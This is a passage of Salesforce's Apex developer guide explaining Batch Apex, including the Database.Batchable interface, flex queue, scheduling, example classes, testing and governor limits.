- If you attempt to deploy changes to a class or its dependent code when the class is scheduled for execution, you see the error `This schedulable class has jobs pending or in progress - CronTrigger IDs (ids)`. You can also see the message `You can bypass this error by allowing deployments with Apex jobs in the Deployment Settings page in Setup`. If you enable this setting, be aware that the job can fail. Instead, we recommend that you first delete the scheduled job, and then deploy your changes. After deployment, create a new scheduled job with the updated class.
- If you resume a paused scheduled job, the job immediately runs one time. Subsequent executions of the job run according to the established schedule. Any scheduled executions that were missed while the job was paused don't run.

SEE ALSO:

[Apex Reference Guide: Schedulable Interface](#)

Batch Apex

A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Lightning Platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and Opportunities on a nightly basis and updates them if necessary, based on custom criteria.

Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at runtime using Apex.

You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce or programmatically using SOAP API to query the `AsyncApexJob` object.



Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger does not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

Batch jobs can also be programmatically scheduled to run at specific times using the [Apex scheduler](#), or scheduled using the Schedule Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see "Schedule Apex Jobs" in the Salesforce online help.

The batch Apex interface is also used for [Apex managed sharing recalculations](#).

For more information on batch jobs, continue to [Using Batch Apex](#) on page 306.

For more information on Apex managed sharing, see [Understanding Apex Managed Sharing](#) on page 223.

For more information on firing platform events from batch Apex, see [Firing Platform Events from Batch Apex](#)

[Use Batch Apex](#)

To use batch Apex, write an Apex class that implements the Salesforce-provided interface `Database.Batchable` and then invoke the class programmatically. To monitor or stop the execution of the batch Apex job, from Setup, enter `Apex Jobs` in the Quick Find box and then select **Apex Jobs**.

Firing Platform Events from Batch Apex

Batch Apex classes can fire platform events when encountering an error or exception. Clients listening on an event can obtain actionable information, such as how often the event failed and which records were in scope at the time of failure. Events are also fired for Salesforce Platform internal errors and other uncatchable Apex exceptions such as `LimitExceptions`, which are caused by reaching governor limits.

Use Batch Apex

To use batch Apex, write an Apex class that implements the Salesforce-provided interface `Database.Batchable` and then invoke the class programmatically. To monitor or stop the execution of the batch Apex job, from Setup, enter *Apex Jobs* in the Quick Find box and then select **Apex Jobs**.

Implement the `Database.Batchable` Interface

The `Database.Batchable` interface contains three methods that must be implemented.

- `start` method:

```
public (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)
{ }
```

The `start` method is called at the beginning of a batch Apex job. In the `start` method, you can include code that collects records or objects to pass to the interface method `execute`. This method returns either a `Database.QueryLocator` object or an iterable that contains the records or objects passed to the job.

When you're using a simple query (`SELECT`) to generate the scope of objects in the batch job, use the `Database.QueryLocator` object. If you use a `QueryLocator` object, the governor limit for the total number of records retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a `QueryLocator` for all account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns a `QueryLocator` for all account records in an org.

Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for iterating through the list.

 **Important:** If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced. For more information on using iterables for batch jobs, see [Batch Apex Considerations and Best Practices](#).

- `execute` method:

```
public void execute(Database.BatchableContext bc, list<P>) { }
```

The `execute` method is called for each batch of records that you pass to it and takes these parameters.

- A reference to the `Database.BatchableContext` object.
- A list of `sObjects`, such as `List<sObject>`, or a list of parameterized types. If you're using a `Database.QueryLocator`, use the returned list.

Batches of records tend to execute in the order in which they're received from the `start` method. However, the order in which batches of records execute depends on various factors. The order of execution isn't guaranteed.

- `finish` method:

```
public void finish(Database.BatchableContext bc) { }
```

The `finish` method is called after all batches are processed and can be used to send confirmation emails or execute post-processing operations.

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional `scope` parameter from `Database.executeBatch` is considered five transactions of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates made in the first transaction aren't rolled back.

Use Database.BatchableContext

All the methods in the `Database.Batchable` interface require a reference to a `Database.BatchableContext` object. Use this object to track the progress of the batch job.

The following is the instance method with the `Database.BatchableContext` object:

Name	Arguments	Returns	Description
<code>getJobId</code>		ID	Returns the ID of the AsyncApexJob object associated with this batch job as a string. Use this method to track the progress of records in the batch job. You can also use this ID with the System.abortJob method.

The following example uses the `Database.BatchableContext` to query the `AsyncApexJob` associated with the batch job.

```
public void finish(Database.BatchableContext bc){
    // Get the ID of the AsyncApexJob representing this batch job
    // from Database.BatchableContext.
    // Query the AsyncApexJob object to retrieve the current job's information.
    AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
        TotalJobItems, CreatedBy.Email
        FROM AsyncApexJob WHERE Id =
        :bc.getJobId() WITH USER_MODE];
    // Send an email to the Apex job's submitter notifying of job completion.
    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    String[] toAddresses = new String[] {a.CreatedBy.Email};
    mail.setToAddresses(toAddresses);
    mail.setSubject('Apex Sharing Recalculation ' + a.Status);
    mail.setPlainTextBody
        ('The batch Apex job processed ' + a.TotalJobItems +
        ' batches with ' + a.NumberOfErrors + ' failures. ');
    Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
```

Using Database.QueryLocator to Define Scope

The `start` method can return either a `Database.QueryLocator` object that contains the records to use in the batch job or an iterable.

The following example uses a `Database.QueryLocator`:

```
public with sharing class SearchAndReplace implements Database.Batchable<sObject>{

    public final String Query;
    public final String Entity;
    public final String Field;
    public final String Value;
```

```

public SearchAndReplace(String q, String e, String f, String v){
    Query=q; Entity=e; Field=f;Value=v;
}

public Database.QueryLocator start(Database.BatchableContext bc){
    return Database.getQueryLocator(query, AccessLevel.USER_MODE);
}

public void execute(Database.BatchableContext bc, List<sObject> scope){
    for(sObject s : scope){
        s.put(Field,Value);
    }
    update as user scope;
}

public void finish(Database.BatchableContext bc){
}
}

```

Using an Iterable in Batch Apex to Define Scope

The `start` method can return either a `Database.QueryLocator` object that contains the records to use in the batch job or an iterable. Use an iterable to step through the returned items more easily.

```

public with sharing class BatchClass implements Database.Batchable<Account> {
    public Iterable<Account> start(Database.BatchableContext info) {
        return new CustomAccountIterable();
    }
    public void execute(Database.BatchableContext info, List<Account> scope) {
        List<Account> accsToUpdate = new List<Account>();
        for (Account a : scope) {
            a.Name = 'true';
            a.NumberOfEmployees = 70;
            accsToUpdate.add(a);
        }
        update as user accsToUpdate;
    }
    public void finish(Database.BatchableContext info) {
    }
}

```

Using the `Database.executeBatch` Method to Submit Batch Jobs

You can use the `Database.executeBatch` method to programmatically begin a batch job.



Important: When you call `Database.executeBatch`, Salesforce adds the process to the queue. Actual execution can be delayed based on service availability.

The `Database.executeBatch` method takes two parameters:

- An instance of a class that implements the `Database.Batchable` interface.

- An optional parameter `scope`. This parameter specifies the number of records to pass into the `execute` method. Use this parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you're limiting the operations per transaction. This value must be greater than zero. If the `start` method of the batch class returns a `QueryLocator`, the optional `scope` parameter of `Database.executeBatch` can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the `QueryLocator` into smaller batches of up to records. If the `start` method of the batch class returns an iterable, the `scope` parameter value has no upper limit. However, if you use a high number, you can run into other limits. The optimal `scope` size is a factor of 2000, for example, 100, 200, 400 and so on.

The `Database.executeBatch` method returns the ID of the `AsyncApexJob` object, which you can use to track the progress of the job. For example:

```
ID batchprocessid = Database.executeBatch(reassign);

AsyncApexJob aaJ = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
                    FROM AsyncApexJob WHERE ID = :batchprocessid WITH USER_MODE];
```

You can also use this ID with the `System.abortJob` method.

For more information, see [AsyncApexJob](#) in the *Object Reference for Salesforce*.

Holding Batch Jobs in the Apex Flex Queue

With the Apex flex queue, you can submit up to 100 batch jobs.

The outcome of `Database.executeBatch` is as follows.

- The batch job is placed in the Apex flex queue, and its status is set to `Holding`.
- If the Apex flex queue has the maximum number of 100 jobs, `Database.executeBatch` throws a `LimitException` and doesn't add the job to the queue.
- If your org doesn't have Apex flex queue enabled, `Database.executeBatch` adds the batch job to the batch job queue with the `Queued` status. If the concurrent limit of queued or active batch jobs has been reached, a `LimitException` is thrown, and the job isn't queued.
- It is possible that the number of jobs in the Apex flex queue sometimes exceeds the maximum limit, resulting from parallel requests to enqueue batch Apex jobs. Further attempts to enqueue batch jobs will encounter a `LimitException` until the queue size drops below the maximum limit.

Reordering Jobs in the Apex Flex Queue

While submitted jobs have a status of `Holding`, you can reorder them in the Salesforce user interface to control which batch jobs are processed first. To do so, from Setup, enter *Apex Flex Queue* in the *Quick Find* box, then select **Apex Flex Queue**.

Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the [System.FlexQueue methods](#). Pass the method the job ID and, if applicable, the ID of the job next to the moved job's new position. For example:

```
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
```

You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the holding queue to be processed first when resources become available. Otherwise, jobs are processed "first-in, first-out"—in the order in which they're submitted.

When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these moved jobs changes from `Holding` to `Queued`. Queued jobs get executed when the system is ready to process new jobs. You can monitor queued jobs on the Apex Jobs page.

Batch Job Statuses

The following table lists all possible statuses for a batch job along with a description of each.

Status	Description
Holding	Job has been submitted and is held in the Apex flex queue until system resources become available to queue the job for processing.
Queued	Job is awaiting execution.
Preparing	The <code>start</code> method of the job has been invoked. This status can last a few minutes depending on the size of the batch of records.
Processing	Job is being processed.
Aborted	Job aborted by a user.
Completed	Job completed with or without failure.
Failed	Job experienced a system failure.

Using the `System.scheduleBatch` Method

You can use the `System.scheduleBatch` method to schedule a batch job to run once at a future time.

The `System.scheduleBatch` method takes these parameters.

- An instance of a class that implements the `Database.Batchable` interface.
- The job name.
- The time interval, in minutes, after which the job starts executing.
- An optional scope value. This parameter specifies the number of records to pass into the `execute` method. Use this parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you're limiting the operations per transaction. This value must be greater than zero. If the `start` method of the batch class returns a `QueryLocator`, the optional scope parameter of `Database.executeBatch` can have a maximum value of . If set to a higher value, Salesforce chunks the records returned by the `QueryLocator` into smaller batches of up to 2,000 records. If the `start` method of the batch class returns an iterable, the scope parameter value has no upper limit. However, if you use a high number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100, 200, 400 and so on.

The `System.scheduleBatch` method returns the scheduled job ID (CronTrigger ID).

This example schedules a batch job to run 60 minutes from now by calling `System.scheduleBatch`. The example passes this method an instance of a batch class (the `reassign` variable), a job name, and a time interval of 60 minutes. The optional `scope` parameter has been omitted. The method returns the scheduled job ID, which is used to query `CronTrigger` to get the status of the corresponding scheduled job.

```
String cronID = System.scheduleBatch(reassign, 'job example', 60);

CronTrigger ct = [SELECT Id, TimesTriggered, NextFireTime
                  FROM CronTrigger WHERE Id = :cronID WITH USER_MODE];

// TimesTriggered should be 0 because the job hasn't started yet.
Assert.areEqual(0, ct.TimesTriggered);
System.debug('Next fire time: ' + ct.NextFireTime);
// For example:
```

```
// Next fire time: 2013-06-03 13:31:23
```

For more information, see [CronTrigger](#) in the *Object Reference for Salesforce*.



Note: Some things to note about `System.scheduleBatch`:

- When you call `System.scheduleBatch`, Salesforce schedules the job for execution at the specified time. Actual execution occurs at or after that time, depending on service availability.
- The scheduler runs as system—all classes are executed, whether the user has permission to execute the class or not.
- When the job's schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your org, the batch job is added at the end of the flex queue. For more information, see [Holding Batch Jobs in the Apex Flex Queue](#).
- All scheduled Apex limits apply for batch jobs scheduled using `System.scheduleBatch`. After the batch job is queued (with a status of `Holding` or `Queued`), all batch job limits apply and the job no longer counts toward scheduled Apex limits.
- After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the `System.abortJob` method.

Batch Apex Examples

The following example uses a `Database.QueryLocator`:

```
public with sharing class UpdateAccountFields implements Database.Batchable<SObject> {
    public final String Query;
    public final String Entity;
    public final String Field;
    public final String Value;

    public UpdateAccountFields(String q, String e, String f, String v) {
        Query = q;
        Entity = e;
        Field = f;
        Value = v;
    }

    public Database.QueryLocator start(Database.BatchableContext bc) {
        return Database.getQueryLocator(query, AccessLevel.USER_MODE);
    }

    public void execute(Database.BatchableContext bc, List<SObject> scope) {
        for (SObject s : scope) {
            s.put(Field, Value);
        }
        update as user scope;
    }

    public void finish(Database.BatchableContext bc) {
    }
}
```

You can use this code to call the previous class.

```
// Query for 10 accounts
String q = 'SELECT Industry FROM Account LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
```

To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include `isDeleted=false` in the SOQL query WHERE clause, as shown in these modified samples.

```
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
```

```
// Query for invoices that aren't in the Recycle Bin
String q =
    'SELECT Description__c FROM Invoice_Statement__c WHERE isDeleted=false LIMIT 10';
String e = 'Invoice_Statement__c';
String f = 'Description__c';
String v = 'Updated description';
Id batchInstanceId = Database.executeBatch(new UpdateInvoiceFields(q,e,f,v), 5);
```

The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.

```
public with sharing class OwnerReassignment implements Database.Batchable<sObject> {
    public String query;
    public String email;
    public Id toUserId;
    public Id fromUserId;

    public Database.queryLocator start(Database.BatchableContext bc) {
        return Database.getQueryLocator(query, AccessLevel.USER_MODE);
    }

    public void execute(Database.BatchableContext bc, List<sObject> scope) {
        List<Account> accns = new List<Account>();

        for (sObject s : scope) {
            Account a = (Account) s;
            if (a.OwnerId == fromUserId) {
                a.OwnerId = toUserId;
                accns.add(a);
            }
        }

        update as user accns;
    }
    public void finish(Database.BatchableContext bc) {
        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    }
}
```

```

mail.setToAddresses(new List<String>{ email });
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');

Messaging.sendEmail(new List<Messaging.SingleEmailMessage>{ mail });
}
}

```

Use this code to execute the `OwnerReassignment` class in the previous example.

```

OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
                'WHERE ownerid=\'' + u.id + '\'';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

```

The following is an example of a batch Apex class for deleting records.

```

public with sharing class BatchDelete implements Database.Batchable<sObject> {
    public String query;

    public Database.QueryLocator start(Database.BatchableContext bc) {
        return Database.getQueryLocator(query, AccessLevel.USER_MODE);
    }

    public void execute(Database.BatchableContext bc, List<sObject> scope) {
        delete as user scope;
        DataBase.emptyRecycleBin(scope);
    }

    public void finish(Database.BatchableContext bc) {
    }
}

```

This code calls the `BatchDelete` batch Apex class to delete old documents. The specified query selects documents to delete for all documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.

```

BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '001D0000001161D';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
            '\'' AND CreatedDate < ' + d.format('yyyy-MM-dd') + 'T' +
            d.format('HH:mm') + ':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);

```

Using Callouts in Batch Apex

To use a [callout](#) in batch Apex, specify `Database.AllowsCallouts` in the class definition. For example:

```
public with sharing class SearchAndReplace implements Database.Batchable<sObject>,
    Database.AllowsCallouts{
}
```

Callouts include HTTP requests and methods defined with the `webservice` keyword.

Using State in Batch Apex

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional `scope` parameter is considered five transactions of 200 records each.

If you specify `Database.Stateful` in the class definition, you can maintain state across these transactions. When using `Database.Stateful`, only instance member variables retain their values between transactions. Static member variables don't retain their values and are reset between transactions. Maintaining state is useful for counting or summarizing records as they're processed. For example, suppose your job processes opportunity records. You can define a method in `execute` to aggregate the totals of the opportunity amounts as they are processed.

If you don't specify `Database.Stateful`, all static and instance member variables are set back to their original values.

The following example summarizes a custom field `total__c` as the records are processed.

```
public with sharing class SummarizeAccountTotal implements Database.Batchable<sObject>,
    Database.Stateful {
    public final String Query;
    public integer Summary;

    public SummarizeAccountTotal(String q) {
        Query = q;
        Summary = 0;
    }

    public Database.QueryLocator start(Database.BatchableContext bc) {
        return Database.getQueryLocator(query, AccessLevel.USER_MODE);
    }

    public void execute(Database.BatchableContext bc, List<sObject> scope) {
        for (sObject s : scope) {
            Summary = Integer.valueOf(s.get('total__c')) + Summary;
        }
    }

    public void finish(Database.BatchableContext bc) {
    }
}
```

In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all instances of the `Database.Batchable` methods. For example:

```
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final

public with sharing class MyBatchable implements Database.Batchable<sObject> {
    private final String initialState;
```

```
String query;

public MyBatchable(String initialState) {
    this.initialState = initialState;
}

public Database.QueryLocator start(Database.BatchableContext bc) {
    // Access initialState here

    return Database.getQueryLocator(query, AccessLevel.USER_MODE);
}

public void execute(Database.BatchableContext bc, List<Object> batch) {
    // Access initialState here
}

public void finish(Database.BatchableContext bc) {
    // Access initialState here
}
}
```

The `initialState` stores only the *initial* state of the class. You can't use it to pass information between instances of the class during execution of the batch job. For example, if you change the value of `initialState` in `execute`, the second chunk of processed records can't access the new value. Only the initial value is accessible.

Testing Batch Apex

When testing your batch Apex, you can test only one execution of the `execute` method. Use the `scope` parameter of the `executeBatch` method to limit the number of records passed into the `execute` method to ensure that you aren't running into governor limits.

The `executeBatch` method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously processed batch job is finished before testing against the results. Use the Test methods `startTest` and `stopTest` around the `executeBatch` method to ensure that it finishes before continuing your test. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously. If you don't include the `executeBatch` method within the `startTest` and `stopTest` methods, the batch job executes at the end of your test method. This execution order applies for Apex saved using API version 25.0 and later, but not for earlier versions.

For Apex saved using API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method are passed to the calling test method. As a result, these exceptions cause the test method to fail. If you want to handle exceptions in the test method, enclose the code in `try` and `catch` statements. Place the `catch` block after the `stopTest` method. However, with Apex saved using Apex version 21.0 and earlier, such exceptions don't get passed to the test method and don't cause test methods to fail.



Note: Asynchronous calls, such as `@future` or `executeBatch`, called in a `startTest`, `stopTest` block, don't count against your limits for the number of queued jobs.

The following example tests the `OwnerReassignment` class.

```
@IsTest
private with sharing class OwnerReassignmentTest {
    @IsTest
    public static void testBatch() {
        user u = [
            SELECT ID, UserName
```

```

        FROM User
        WHERE username = 'testuser1@acme.com'
        WITH USER_MODE
    ];
    user u2 = [
        SELECT ID, UserName
        FROM User
        WHERE username = 'testuser2@acme.com'
        WITH USER_MODE
    ];
    String u2id = u2.id;
    // Create 200 test accounts - this simulates one execute.
    // Important - the Salesforce test framework only allows you to
    // test one execute.

    List<Account> accns = new List<Account>();
    for (integer i = 0; i < 200; i++) {
        Account a = new Account(Name = 'testAccount' + i, Ownerid = u.ID);
        accns.add(a);
    }

    insert as user accns;

    Test.StartTest();
    OwnerReassignment reassign = new OwnerReassignment();
    reassign.query =
        'SELECT ID, Name, Ownerid ' +
        'FROM Account ' +
        'WHERE OwnerId=\' ' +
        u.Id +
        '\ ' +
        ' LIMIT 200';
    reassign.email = 'admin@acme.com';
    reassign.fromUserId = u.Id;
    reassign.toUserId = u2.Id;
    ID batchprocessid = Database.executeBatch(reassign);
    Test.StopTest();

    Assert.areEqual(
        Database.countquery(
            'SELECT COUNT() ' + ' FROM Account WHERE OwnerId=\' ' + u2.Id + '\ ',
            AccessLevel.USER_MODE
        ),
        200
    );
}
}

```

Use the `System.Test.enqueueBatchJobs` and `System.Test.getFlexQueueOrder` methods to enqueue and reorder no-operation jobs within the context of tests.

Batch Apex Limitations

Keep in mind these governor limits and other limitations for batch Apex.

- Up to 5 batch jobs can be queued or active concurrently.
- Up to 100 `Holding` batch jobs can be held in the Apex flex queue.
- In a running test, you can submit a maximum of 5 batch jobs.
- The maximum number of batch Apex method executions per 24-hour period is 250,000, or the number of user licenses in your org multiplied by 200—whichever is greater. Method executions include executions of the `start`, `execute`, and `finish` methods. This limit is for your entire org and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available, make a request to REST API `limits` resource. See [List Organization Limits](#) in the [REST API Developer Guide](#). If the number of asynchronous Apex executions needed by a job exceeds the available number that's calculated using the 24-hour rolling limit, an exception is thrown. Batch Apex preemptively checks the required asynchronous job capacity when `Database.executeBatch` is called and the `start` method has returned the workload. The batch won't start unless there is sufficient capacity for the entire job available. For example, if the batch requires 10,000 executions and the remaining asynchronous limit is 9,500 executions, an `AsyncApexExecutions Limit exceeded` exception is thrown, and the remaining executions are left unchanged. The license types that count toward this limit include full Salesforce and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities users.
- A maximum of 50 million records can be returned in the `Database.QueryLocator` object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed.
- If the `start` method of the batch class returns a `QueryLocator`, the optional `scope` parameter of `Database.executeBatch` can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the `QueryLocator` into smaller batches of up to 2,000 records. If the `start` method of the batch class returns an iterable, the `scope` parameter value has no upper limit. However, if you use a high number, you can run into other limits. The optimal `scope` size is a factor of 2000, for example, 100, 200, 400 and so on.
- If no size is specified with the optional `scope` parameter of `Database.executeBatch`, Salesforce chunks the records returned by the `start` method into batches of 200 records. The system then passes each batch to the `execute` method. Apex governor limits are reset for each execution of `execute`.
- The `start`, `execute`, and `finish` methods can implement up to 100 callouts each.
- Only one batch Apex job's `start` method can run at a time in an org. Batch jobs that haven't started yet remain in the queue until they're started. This limit doesn't cause any batch job to fail and `execute` methods of batch Apex jobs still run in parallel if more than one job is running.
- Enqueued batch Apex jobs are processed when system resources become available. There's no guarantee on how long it takes to start, execute, and finish the queued jobs. You can use the Apex flex queue to prioritize jobs.
- Using `FOR UPDATE` in SOQL queries to lock records during update isn't applicable to Batch Apex.
- `Database.QueryLocator` objects and related query results are available for 2 days, including results in nested queries. For more information, see [API Query Cursor Limits](#).

Batch Apex Considerations and Best Practices

- Use extreme caution if you're planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger doesn't add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.
- When you call `Database.executeBatch`, Salesforce only places the job in the queue. Actual execution can be delayed based on service availability and flex queue priority.
- When testing your batch Apex, you can test only one execution of the `execute` method. Use the `scope` parameter of the `executeBatch` method to limit the number of records passed into the `execute` method to ensure that you aren't running into governor limits.

- The `executeBatch` method starts an asynchronous process. When you test batch Apex, make certain that the asynchronously processed batch job is finished before testing against the results. Use the Test methods `startTest` and `stopTest` around the `executeBatch` method to ensure that it finishes before continuing your test.
- Use `Database.Stateful` with the class definition if you want to share instance member variables or data across job transactions. Otherwise, all member variables are reset to their initial state at the start of each transaction.
- Methods declared as `future` aren't allowed in classes that implement the `Database.Batchable` interface.
- Methods declared as `future` can't be called from a batch Apex class.
- When a batch Apex job is run, email notifications are sent to the user who submitted the batch job. If the code is included in a managed package and the subscribing org is running the batch job, notifications are sent to the recipient listed in the `ApexException.NotificationRecipient` field.
- Each method execution uses the standard governor limits anonymous block, Visualforce controller, or WSDL method.
- Each batch Apex invocation creates an `AsyncApexJob` record. To construct a SOQL query to retrieve the job's status, number of errors, progress, and submitter, use the `AsyncApexJob` record's ID. For more information about the `AsyncApexJob` object, see [AsyncApexJob](#) in the *Object Reference for Salesforce*.
- For each 10,000 `AsyncApexJob` records, Apex creates an `AsyncApexJob` record of type `BatchApexWorker` for internal use. When querying for all `AsyncApexJob` records, we recommend that you filter out records of type `BatchApexWorker` using the `JobType` field. Otherwise, the query returns one more record for every 10,000 `AsyncApexJob` records. For more information about the `AsyncApexJob` object, see [AsyncApexJob](#) in the *Object Reference for Salesforce*.
- All implemented `Database.Batchable` interface methods must be defined as `public` or `global`.
- For a sharing recalculation, we recommend that the `execute` method delete and then re-create all Apex managed sharing for the records in the batch. This process ensures that sharing is accurate and complete.
- Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when system resources become available, the queued batch jobs are executed. If a batch job is running when downtime occurred, the batch execution is rolled back and restarted after the service comes back up. Because `execute` methods can therefore run multiple times, any non-transactional operations, such as callouts, can be retried. All non-transactional operations must follow [Idempotent Design Considerations](#) to maintain data integrity.
- Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such sources as `future` methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000 unprocessed requests from a single organization are in the queue, any additional requests from the same organization are delayed while the queue handles requests from other organizations.
- Salesforce recommends that you design your asynchronous Apex jobs to handle variations in processing time. For example, to handle potential processing overlaps, consider [chaining batch jobs](#) on page 319 instead of scheduling jobs at fixed intervals.
- Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and tune the queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed when many jobs are in the queue.
- If you use batch Apex with `Database.QueryLocator` to access external objects via an OData adapter for Salesforce Connect:
 - Enable Request Row Counts on the external data source, and each response from the external system must include the total row count of the result set.
 - We recommend enabling Server-Driven Pagination on the external data source and having the external system determine page sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate changing datasets more effectively than client-driven paging.

When Server-Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior (client-driven). If external object records are added to the external system while a job runs, other records can be processed twice. If external object records are deleted from the external system while a job runs, other records can be skipped.

- When Server-Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of these two sizes:
 - Batch size specified in the `scope` parameter of `Database.executeBatch`. The default is 200 records.
 - Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200 or fewer records.
- Batch Apex jobs run faster when the `start` method returns a `QueryLocator` object that doesn't include related records via a subquery. Avoiding relationship subqueries in a `QueryLocator` allows batch jobs to run using a faster, chunked implementation. If the `start` method returns an iterable or a `QueryLocator` object with a relationship subquery, the batch job uses a slower, non-chunking, implementation. For example, if this query is used in the `QueryLocator`, the batch job uses a slower implementation because of the relationship subquery:

```
SELECT Id, (SELECT id FROM Contacts) FROM Account
```

A better strategy is to perform the subquery separately, from within the `execute` method, which allows the batch job to run using the faster, chunking implementation.

- To implement record locking as part of the batch job, you can requery records inside the `execute` method, using `FOR UPDATE`. Requerying records in this manner ensures that conflicting updates aren't overwritten by DML in the batch job. To requery records, simply select the `Id` field in the batch job's main query locator.
- The Salesforce Platform's flow control mechanism and fair-usage algorithm can cause a delay in running batch jobs.

Chaining Batch Jobs

Starting with API version 26.0, you can start another batch job from an existing batch job to chain jobs together. Chaining enforces strict sequential execution, ensuring that one job fully completes before the next one starts. This sequencing prevents situations where multiple batch jobs attempt to concurrently process the same records, which can lead to race conditions or data inconsistencies. Use chained batch jobs if you require sequential execution and batch processing, such as processing large data volumes. Otherwise, if batch processing isn't needed, consider using [Queueable Apex](#).

You can chain a batch job by calling `Database.executeBatch` or `System.scheduleBatch` from the `finish` method of the current batch class. The new batch job starts after the current batch job finishes.

A potential failure point in chained batch jobs is an unhandled exception within the job's `finish` method. The unhandled exception prevents the next job from being enqueued and breaks the sequence. To safeguard against this point of failure, consider implementing a separate scheduled Apex job that periodically checks the status of the chain. The scheduled job queries the `AsyncApexJob` object for records where the `JobType` is `'BatchApex'` and the `ApexClass.Name` matches the class expected to be currently running or queued within the chain. If this query returns no results, the expected job is neither running nor queued, which signifies that the chain has been unexpectedly interrupted. The scheduled job then restarts the entire batch chain, which prevents unprocessed records from accumulating and possibly reaching governor limits.

When creating a long chain of batch jobs, account for workload variations. If there's currently no further work to perform either in the current job's `finish` method or because your business is entering an off-peak period, use `System.scheduleBatch` to add a delay before the execution of next chained batch job. This delay optimizes the usage of available batch jobs and the flex queue by preventing jobs that don't have any work from repeatedly starting.

 **Note:** For API version 25.0 and earlier, you can't call `Database.executeBatch` or `System.scheduleBatch` from any batch Apex method.

The API version that's used is the version of the running batch class that starts or schedules another batch job. If the `finish` method in the running batch class calls a method in a helper class to start the next batch job, the API version of the helper class doesn't matter.

SEE ALSO:

[Apex Reference Guide: Batchable Interface](#)

[Apex Reference Guide: FlexQueue Class](#)

[Apex Reference Guide: Test.enqueueBatchJobs\(\)](#)

[Apex Reference Guide: Test.getFlexQueueOrder\(\)](#)

